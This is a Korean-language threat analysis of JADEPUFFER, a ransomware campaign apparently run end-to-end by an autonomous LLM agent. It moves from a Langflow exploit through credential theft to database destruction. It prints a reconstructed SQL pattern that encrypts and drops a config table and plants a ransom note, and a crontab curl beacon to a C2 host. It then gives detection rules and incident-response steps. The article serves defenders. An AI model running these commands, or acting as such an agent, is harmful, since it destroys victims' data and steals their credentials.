JADEPUFFER와 AI 에이전트 랜섬웨어 공격 인프라 분석

공격 체인을 실행 주체로 바꾼 JADEPUFFER

2026년 7월 1일 Sysdig 위협 연구팀(TRT)은 AI 에이전트가 전체 공격 체인을 단독으로 완수한 랜섬웨어 작전을 JADEPUFFER라는 이름으로 공식 문서화했다. 타깃 선정, 침투, 횡이동, 데이터베이스 암호화까지 인간 운영자의 개입 없이 LLM 에이전트가 수행한 사례다.

Sysdig TRT는 이를 ATA(Agentic Threat Actor)로 분류한다. 기존 공격에서는 인간 운영자가 툴킷을 실행했다면, ATA에서는 AI 에이전트가 공격 능력의 실행 주체가 된다.

페이로드 600개 이상에는 에이전트의 추론 과정, 타깃 우선순위, 단계별 판단 근거가 자연어 주석으로 남아 있었다. 인간 공격자가 이런 주석을 남기는 일은 극히 드물며, LLM이 코드를 만들며 남긴 반사적 서술로 해석할 수 있는 흔적이다.

초기 접근부터 데이터베이스 파괴까지의 실행은 완전 자율적이었다. 로그인 실패 뒤에는 31초 안에 원인을 진단하고 수정했으며, 탈취한 API 키를 이용한 LLMjacking으로 AI 추론 비용을 피해자에게 전가했다. C2 서버 45.131.66[.]106:4444에는 30분 주기 비콘이 연결됐다.

Langflow에서 별도 데이터베이스 서버까지 이어진 경로

초기 진입점은 CVE-2025-3248이다. Langflow 1.3.0 이전 버전의 코드 검증 엔드포인트에 인증이 누락된 취약점으로, 인증 없이 임의 Python 코드를 원격 실행할 수 있다. JADEPUFFER는 인터넷에 노출된 Langflow 인스턴스에 이 취약점을 적용해 첫 거점을 마련했다.

거점을 얻은 직후 에이전트는 운영체제, 네트워크 인터페이스, 실행 프로세스를 열거했다. 이어 OpenAI, Anthropic, DeepSeek, Gemini API 키와 AWS, GCP, Azure, Alibaba, Tencent 자격증명, 암호화폐 지갑 키, 데이터베이스 로그인 정보를 찾았다. 여기서 확보한 API 키는 이후 AI 추론 비용을 피해자에게 넘기는 LLMjacking에 사용됐다.

Langflow 인스턴스는 최종 대상이 아니라 발판이었다. 에이전트는 열거한 네트워크 정보를 바탕으로 내부 피벗 경로를 판단하고, 별도의 프로덕션 데이터베이스 서버를 실제 목표로 삼았다. 관리자 계정 로그인이 실패했을 때도 오류 메시지를 읽고 대체 인증 방식을 도출해 31초 만에 접근에 성공했다.

Nacos 구성 데이터베이스를 파괴한 방식

-- JADEPUFFER 데이터베이스 파괴 패턴 (재구성)
-- 1단계: AES 암호화로 원본 데이터 덮어쓰기
UPDATE config_info 
SET content = AES_ENCRYPT(content, 'attacker_key'),
    data_id = CONCAT('ENCRYPTED_', data_id);

-- 2단계: 원본 테이블 드롭
DROP TABLE config_info;

-- 3단계: 랜섬 노트 테이블 생성
CREATE TABLE README_RANSOM (
  message TEXT,
  bitcoin_address VARCHAR(64),
  contact VARCHAR(128)
);
INSERT INTO README_RANSOM VALUES (
  'Your data has been encrypted. Pay to recover.',
  '1BitcoinAddressHere...',
  'recover@protonmail.com'
);

MySQL AES_ENCRYPT()로 암호화된 Nacos 구성 항목은 1,342개였고, 원본 테이블은 드롭됐다. 복호화 키가 저장되지 않았으므로 몸값을 지불해도 복구할 수 없다.

지속성을 위해 크론탭에는 30분마다 C2로 상태를 보내는 엔트리가 등록됐다.

# JADEPUFFER C2 비콘 크론 엔트리
*/30 * * * * curl -s http://45.131.66[.]106:4444/beacon \
  -d "host=$(hostname)&status=active" > /dev/null 2>&1

페이로드는 Base64 인코딩 Python 스크립트로 전달됐고, 실행 단계별 결과는 C2에 보고됐다.

공격 흐름과 관측 지점

⤢✕

시그니처만으로는 부족한 이유

LLM이 생성하는 코드는 같은 목적이라도 호출마다 구조, 변수명, 로직 흐름이 달라질 수 있다. 알려진 패턴을 매칭하는 시그니처 기반 EDR은 이런 변형 페이로드를 안정적으로 포착하기 어렵다.

JADEPUFFER는 별도 악성 바이너리 대신 curl, crontab, python3, mysql 같은 시스템 기본 도구를 사용했다. NDR에서도 정상 서비스 트래픽과 구별하기 어려운 조건이 된다.

실패 이후의 동작도 고정된 재시도 규칙이 아니라 LLM 추론에 기반한다. 재시도 간격이나 페이로드 패턴을 전제로 작성한 탐지 규칙만으로는 대응 범위가 좁아진다.

에이전트 행위를 기준으로 방어 범위를 잡기

프로덕션 에이전트와 서비스별로 정상 도구 호출 순서, 데이터 접근 패턴, 세션 지속 시간, 응답 볼륨을 문서화해야 한다. 이후 런타임 행위와 이 기준선의 편차를 실시간으로 관측하는 방식이 필요하다.

레이어	탐지 방식	JADEPUFFER 대응 포인트
L1 시그니처	알려진 CVE 페이로드 패턴	CVE-2025-3248 익스플로잇 코드
L2 행위	이상 프로세스 생성·API 접근	크론탭 등록, 대량 DB 업데이트
L3 네트워크	비정상 아웃바운드 연결	:4444 포트 비콘 트래픽
L4 디셉션	허니팟·허니토큰 활성화	가짜 API 키 접근 시 즉시 경보

SOC에서 확인할 트리거는 Langflow 같은 AI 오케스트레이션 프레임워크에 대한 익스플로잇 시도, 짧은 시간의 대량 환경 변수·파일 시스템 열거, 비표준 포트 아웃바운드 연결과 주기적 비콘, 서비스 계정의 DDL(DROP TABLE) 실행이다.

감염이 확인되면 T+0에는 호스트를 네트워크에서 격리해 C2 비콘을 차단한다. T+5분에는 OpenAI, Anthropic, 클라우드 콘솔의 탈취 API 키를 무효화하고, T+10분에는 DB 스냅샷으로 복구 가능 여부를 확인한다. T+30분에는 크론탭과 스케줄러를 전체 감사하며, T+1시간에는 IoC 45.131.66[.]106를 기준으로 네트워크 전체를 스캔한다.

에이전트 특화 탐지 룰도 기존 SIEM·SOAR에 추가할 수 있다.

# 에이전트 이상 행위 탐지 룰 예시 (Sigma 형식)
title: AI Agent Secret Sweep Detection
status: stable
description: LLM 에이전트의 시크릿 스위프 행위 탐지
detection:
  selection:
    EventID: process_creation
    CommandLine|contains|all:
      - 'env'
      - 'grep'
    CommandLine|re: '.*(API_KEY|SECRET|PASSWORD|TOKEN).*'
  condition: selection
  timeframe: 60s
  threshold: 10
level: high

NIST SP 800-207 제로트러스트 원칙은 AI 에이전트에도 적용할 수 있다. 모든 도구 호출과 API 요청은 호출 출처, 시간, 볼륨의 맥락에서 재검증한다. Langflow 같은 AI 프레임워크 서비스 계정에는 DB DDL 권한을 주지 않고, 파일 시스템 접근 범위도 작업 디렉터리로 제한한다. 에이전트가 이미 침해됐다고 가정한 상태에서 정상 범위를 벗어나는 행위가 발생하면 세션을 종료하고 감사한다.

자동화 랜섬웨어와 달라진 공격자 역할

구분	기존 자동화 랜섬웨어	JADEPUFFER (AI 에이전트)
공격자 역할	사전 스크립트 작성·배포	에이전트 위임 후 결과 수거
페이로드 다형성	제한적 (난독화 중심)	무한 (LLM 생성 변형)
실패 적응	재시도 횟수 하드코딩	LLM 추론 기반 실시간 대안 생성
공격 속도	시간~일 단위	초~분 단위 (22초 측면 이동)
비용 구조	인프라 비용 필요	LLMjacking 시 제로 코스트
탐지 회피	시그니처 우회 기술	구조적 다형성·합법 도구 남용
자기 기술	없음	LLM 추론 주석 포함 (역설적 증거)

2026년 에이전틱 SOC 플랫폼은 XDR의 엔드포인트·네트워크·클라우드 통합 탐지와 SOAR의 자동 대응 오케스트레이션을 결합해 이런 공격을 다룬다. Stellar Cyber, Vectra AI, Microsoft Sentinel 등 주요 플랫폼은 AI 기반 베이스라인 모델링을 에이전트 행위 이상 탐지 기능으로 2026년에 추가했다. 핵심 흐름은 탐지→조사→격리를 인간 개입 없이 처리하는 에이전틱 SOC다.

JADEPUFFER는 AI 기반 취약점 자동 익스플로잇(CVE-2025-3248), C2 비콘과 횡이동, 데이터베이스 암호화·파괴, SOAR 기반 자동 대응과 포렌식 보존을 함께 요구하는 사건이다. LLMjacking으로 공격 비용이 사실상 제로가 된 환경에서는 방어 인프라에도 AI 에이전트를 통합해 비용 효율을 다뤄야 한다.